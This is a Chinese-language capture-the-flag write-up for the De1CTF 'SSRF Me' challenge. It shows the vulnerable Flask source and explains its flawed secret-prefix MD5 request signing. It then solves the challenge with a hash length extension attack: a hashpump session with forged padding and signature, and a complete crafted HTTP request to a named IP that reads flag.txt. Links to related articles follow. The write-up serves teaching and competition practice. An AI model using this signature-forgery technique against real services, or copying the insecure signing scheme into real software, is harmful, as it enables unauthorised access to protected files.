题目考查:python代码审计、hash长度拓展攻击

0x01

题目源码:
  1. #! /usr/bin/env python
  2. #encoding=utf-8
  3. from flask import Flask
  4. from flask import request
  5. import socket
  6. import hashlib
  7. import urllib
  8. import sys
  9. import os
  10. import json
  11. reload(sys)
  12. sys.setdefaultencoding('latin1')
  13.  
  14. app = Flask(__name__)
  15.  
  16. secert_key = os.urandom(16)
  17.  
  18. class Task:
  19. def __init__(self, action, param, sign, ip):
  20. self.action = action
  21. self.param = param
  22. self.sign = sign
  23. self.sandbox = md5(ip)
  24. if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
  25. os.mkdir(self.sandbox)
  26.  
  27. def Exec(self):
  28. result = {}
  29. result['code'] = 500
  30. if (self.checkSign()):
  31. if "scan" in self.action:
  32. tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
  33. resp = scan(self.param)
  34. if (resp == "Connection Timeout"):
  35. result['data'] = resp
  36. else:
  37. print resp
  38. tmpfile.write(resp)
  39. tmpfile.close()
  40. result['code'] = 200
  41. if "read" in self.action:
  42. f = open("./%s/result.txt" % self.sandbox, 'r')
  43. result['code'] = 200
  44. result['data'] = f.read()
  45. if result['code'] == 500:
  46. result['data'] = "Action Error"
  47. else:
  48. result['code'] = 500
  49. result['msg'] = "Sign Error"
  50. return result
  51.  
  52. def checkSign(self):
  53. if (getSign(self.action, self.param) == self.sign):
  54. return True
  55. else:
  56. return False
  57.  
  58. #generate Sign For Action Scan.
  59. @app.route("/geneSign", methods=['GET', 'POST'])
  60. def geneSign():
  61. param = urllib.unquote(request.args.get("param", ""))
  62. action = "scan"
  63. return getSign(action, param)
  64.  
  65. @app.route('/De1ta',methods=['GET','POST'])
  66. def challenge():
  67. action = urllib.unquote(request.cookies.get("action"))
  68. param = urllib.unquote(request.args.get("param", ""))
  69. sign = urllib.unquote(request.cookies.get("sign"))
  70. ip = request.remote_addr
  71. if(waf(param)):
  72. return "No Hacker!!!!"
  73. task = Task(action, param, sign, ip)
  74. return json.dumps(task.Exec())
  75. @app.route('/')
  76. def index():
  77. return open("code.txt","r").read()
  78.  
  79. def scan(param):
  80. socket.setdefaulttimeout(1)
  81. try:
  82. return urllib.urlopen(param).read()[:50]
  83. except:
  84. return "Connection Timeout"
  85.  
  86. def getSign(action, param):
  87. return hashlib.md5(secert_key + param + action).hexdigest()
  88.  
  89. def md5(content):
  90. return hashlib.md5(content).hexdigest()
  91.  
  92. def waf(param):
  93. check=param.strip().lower()
  94. if check.startswith("gopher") or check.startswith("file"):
  95. return True
  96. else:
  97. return False
  98.  
  99. if __name__ == '__main__':
  100. app.debug = False
  101. app.run(host='0.0.0.0',port=80)

0x02

python源码分析:
1、访问网站根目录会打开文件code.txt
2、访问/geneSign会返回一个md5(secert_key + param + action)的值(其中param为空,action为scan)
3、访问/De1ta会创建一个对象并将所有获取到的参数传递进去

0x03

需要同时满足以下条件:
1、getSign(self.action, self.param) == self.sign
2、"read"和"scan"全在action中

0x04

思路:
从/geneSign可以得到md5(secert_key + param + action)的值(其中param为flag.txt,action为scan)
要想同时满足上述两个条件就要知道md5(secert_key + param + action)的值(其中param为flag.txt,action为scanread)
所以可总结为:
  1. 已知md5(secert_key+param+scan)
  2. md5(secert_key+param+scanread)

因此便想到hash长度拓展攻击,详细介绍:https://joychou.org/web/hash-length-extension-attack.html

0x05

访问/geneSign,传param参数值flag.txt得到md5(secert_key+param+scan)的值
 
使用hashpump
  1. root@kali:~/HashPump# hashpump
  2. Input Signature: 8370bdba94bd5aaf7427b84b3f52d7cb
  3. Input Data: scan
  4. Input Key Length: 24
  5. Input Data to Add: read
  6. d7163f39ab78a698b3514fd465e4018a
  7. scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read

将得到的数据替换到数据包中即可(\x替换为%)

  1. GET /De1ta?param=flag.txt HTTP/1.1
  2. Host: 139.180.128.86
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. DNT: 1
  7. Connection: close
  8. Upgrade-Insecure-Requests: 1
  9. Cookie: action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read; sign=d7163f39ab78a698b3514fd465e4018a

哈希长度拓展攻击之De1CTF - SSRF Me的更多相关文章

  1. 实验吧_天下武功唯快不破&让我进去(哈希长度拓展攻击)

    天下武功唯快不破 第一反应就去抓包,看到返回包的header中有FLAG的值,base64解码后得到下图所示 这就要求我们在请求头中post相应key的值,我直接在burp中尝试了多次都没有用,想起来 ...

  2. [php代码审计] 哈希长度拓展攻击

    已知: 1. salt的长度. 2. message==“adminadmin”. 3. MD5(salt+message)的值. 求: MD5(salt+message+填充数据+任意字符串)的值. ...

  3. 浅谈HASH长度拓展攻击

    前言 最近在做CTF题的时候遇到这个考点,想起来自己之前在做实验吧的入门CTF题的时候遇到过这个点,当时觉得难如看天书一般,现在回头望去,仔细琢磨一番感觉也不是那么难,这里就写篇文章记录一下自己的学习 ...

  4. 哈希长度扩展攻击的简介以及HashPump安装使用方法

    哈希长度扩展攻击(hash length extension attacks)是指针对某些允许包含额外信息的加密散列函数的攻击手段.该攻击适用于在消息与密钥的长度已知的情形下,所有采取了 H(密钥 ∥ ...

  5. 哈希长度扩展攻击(Hash Length Extension Attack)利用工具hexpand安装使用方法

    去年我写了一篇哈希长度扩展攻击的简介以及HashPump安装使用方法,本来已经足够了,但HashPump还不是很完善的哈希长度扩展攻击,HashPump在使用的时候必须提供original_data, ...

  6. MD5加密及Hash长度拓展攻击【通俗易懂】

    先放一个简单点的利用了Hash长度拓展攻击的题目 if($COOKIE["getmein"] === md5($secret . urldecode($username . $pa ...

  7. hash长度扩展攻击

    这里面就放一张百度百科的解释吧,emmm 反正我是看不懂还是做一下题来巩固一下吧 CTF中的hash长度攻击 进入网页你会发现页面显示  我这里没有看到什么可以利用的,抓了一下包也没有什么有可以利 ...

  8. 实验吧Web-中-让我进去(Hash长度扩展攻击、加盐密码及Linux下hashpump的安装使用)

    打开网页,测试开始,注入费老大劲,看了大佬的blog才知道怎么干. bp抓包,观察发现cookie中有个source=0,在repeater中修改为source=1,然go一下,出来了一段源代码. $ ...

  9. session安全&&CBC字符反转攻击&&hash拓展攻击

    session安全 p神写的: 在传统PHP开发中,$_SESSION变量的内容默认会被保存在服务端的一个文件中,通过一个叫"PHPSESSID"的Cookie来区分用户.这类se ...

随机推荐

  1. ubuntu下编译C++程序

    1.CMake 定义:CMake是一个跨平台编译工具,可以用来自动输出makefile文件: 用法:(1)想要自动生成makefile,还需要编写对应的CMakeLists.txt文件: (2)在CM ...

  2. CSS布局:sticky定位

    stick定位一如其名:它随“正常”文档流而动,直到规定位置,尔后“粘”在那里:或者,当它发现自己可以跟随“正常”文档流而脱离sticky位置时,就果断离开从而加入文档流. 代码与效果如下: < ...

  3. java 堆调优

    一.查看kafka集群的broker的堆内存使用情况 1>.使用jstat查看gc的信息([root@kafka116 ~]# jstat -gc 12698 1s 30) 参数说明:S0C:第 ...

  4. [ARM-Linux开发]Linux下加载.ko驱动模块的两种方法:insmod与modprobe

    假设要加载的驱动程序模块名为SHT21.ko 加载驱动模块 方法一:  进入SHT21.ko驱动模块文件所在的目录,然后直接  insmod SHT21.ko  即可 方法二:  将SHT21.ko文 ...

  5. csu 1976: 搬运工小明

    1976: 搬运工小明 Submit Page   Summary   Time Limit: 2 Sec     Memory Limit: 128 Mb     Submitted: 94     ...

  6. csu 1984: LXX的能力值

    1984: LXX的能力值 Submit Page   Summary   Time Limit: 3 Sec     Memory Limit: 128 Mb     Submitted: 17   ...

  7. 【记录】【mysql】的REPLACE()用法

    操作前数据 操作 UPDATE `test_replace` SET PASSWORD ') WHERE id REPLACE(PASSWORD, '1', '77')意思就是password中的1替 ...

  8. 在JDBC中实现SQL语句的模糊查询

    在JDBC中实现SQL语句的模糊查询 在大多数情况下我们可以在JDBC中写入sql语句通过占位符的方式来直接查询,但是如果要进行模糊查询,需要转义字符才能够正常查询. sql语句: select * ...

  9. 《Effective Objective-C》概念篇

    1.运行时 OC 语言由 Smalltalk(20世纪70年代出现的一种面向对象的语言) 演化而来,后者是消息型语言的鼻祖. OC 使用动态绑定的消息结构,在运行时检查对象类型. 使用消息结构的语言, ...

  10. Ubuntu 编译安装 nginx

    有关博客: <Windows 编译安装 nginx 服务器 + rtmp 模块>.<Ubuntu 编译安装 nginx>.<Arm-Linux 移植 Nginx> ...